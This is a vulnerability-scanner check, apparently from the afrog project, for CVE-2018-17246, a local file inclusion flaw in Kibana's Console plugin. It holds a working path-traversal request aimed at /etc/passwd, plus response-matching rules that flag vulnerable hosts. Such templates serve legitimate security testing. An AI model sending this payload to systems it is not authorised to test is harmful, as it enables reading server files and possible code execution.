CVE-2018-17246: Kibana Local File Inclusion

2025-08-01 Kibana PoC Public

Description

Kibana versions before 6.4.3 and 5.6.13 contain an arbitrary file inclusion flaw in the Console plugin. An attacker with access to the Kibana Console API could send a request that will attempt to execute javascript code. This could possibly lead to an attacker executing arbitrary commands with permissions of the Kibana process on the host system.

PoC

id: CVE-2018-17246

info:
  name: Kibana Local File Inclusion
  author: canc3s
  severity: high
  verified: true
  description: |-
    Kibana versions before 6.4.3 and 5.6.13 contain an arbitrary file inclusion flaw in the Console plugin. An attacker with access to the Kibana Console API could send a request that will attempt to execute javascript code. This could possibly lead to an attacker executing arbitrary commands with permissions of the Kibana process on the host system.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2018-17246
    - https://www.exploit-db.com/exploits/46233
  tags: cve,cve2018,kibana,lfi
  created: 2023/08/10

rules:
  r0:
    request:
      method: GET
      path: /api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../../../../../../etc/passwd
    expression: response.headers["kbn-name"] == "kibana" && response.content_type.contains("application/json") && response.body.bcontains(bytes("\"statusCode\":500")) && response.body.bcontains(bytes("\"message\":\"An internal server error occurred\""))
expression: r0()

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Source: https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/CVE/2018/CVE-2018-17246.yaml

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